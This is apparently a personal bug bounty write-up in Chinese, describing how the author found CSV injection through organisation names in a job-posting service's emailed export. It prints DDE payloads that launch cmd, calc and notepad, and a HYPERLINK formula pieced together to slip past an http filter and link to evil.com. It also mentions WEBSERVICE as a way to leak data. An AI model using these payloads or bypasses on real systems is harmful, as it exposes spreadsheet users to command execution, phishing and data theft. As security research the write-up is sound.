公开漏洞赏金项目中的CSV注入攻击剖析

本文详细记录了作者在公开漏洞赏金项目中发现的CSV注入漏洞,通过多种payload测试绕过防护机制,最终成功利用HYPERLINK函数实现攻击,展现了完整的技术探索过程。

CSV注入在公开漏洞赏金项目中的实践

你知道什么是痛苦吗?

我在Bugcrowd上浏览寻找可能有回报的目标时,看到了一个吸引人的logo,直接进入范围并运行了subfinder(没有查看已提交的报告…)。在他们的主应用程序中,有一个功能允许雇主发布工作。

我创建了自己的组织,使用了通常的<script>标签设置他们要求的所有内容,添加了随机用户以检查权限提升,将文件导出到我的邮箱等等。等等,导出功能会将邮件发送给所有者,顺便说一句,无法操纵它,因为它使用令牌来获取你的邮箱。但发送的文件是CSV格式。

我创建了另一个组织,基本上你可以通过邮箱创建/邀请尽可能多的用户到你的组织,他们会收到通知。我在前面添加了=1+1并导出了文件。如你所料,该字段显示为错误。

但不幸的是,一个邮箱对应一个组织,要删除必须联系支持,这不行。我使用了另一个邮箱账户,这次我使用了相同的payload =1+1,但作为组织名称。

太好了!CSV注入是可能的。现在游戏开始了,我尝试了H1和github上的所有主要payload,但没有成功。我最终用尽了我所有的账户,更不用说所有的通知了。如果组织名称包含cmd|,它就不会发送邮件。

1
2
3
.=DDE("cmd";"/C calc";"!A0")A0  ##不行
@SUM(1+9)*cmd|' /C calc'!A0=cmd|' /C notepad'!'A1'   ##不行
cmd|=10+20+cmd|' /C calc'!A0  ##也不行,确认它在寻找cmd|

似乎SMTP或服务器进行了一些过滤。所以我放弃了cmd,尝试使用超链接,有总比没有好。

组织名称输入限制正在检查http:https:,我本可以使用file:///ftp,但会遇到不同的问题。所以我绕过了限制。:)

1
=HYPERLINK("h"&"t"&"t"&"p:"&"/"&"/evil.com","在此下载报告")

是的,这是我的第11个邮箱。我也可以注入WEBSERVICE来泄露数据,但我想就此打住,因为已经是早上5点了,我花了6个小时在这上面,而且我没有更多邮箱了。我真的希望这是我的第一个赏金,我不想冒任何风险,所以如果他们不满意,我也会展示webservice那个。(这是我最初的计划)。我制作了整个PoC,写了一份该死的报告。

在整个Bugcrowd页面上没有CSV注入的迹象,已经有1900多份报告获得了奖励。好吧……无论如何,我享受了绕过的过程:)

我真的得睡觉了,已经像28小时没睡了。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计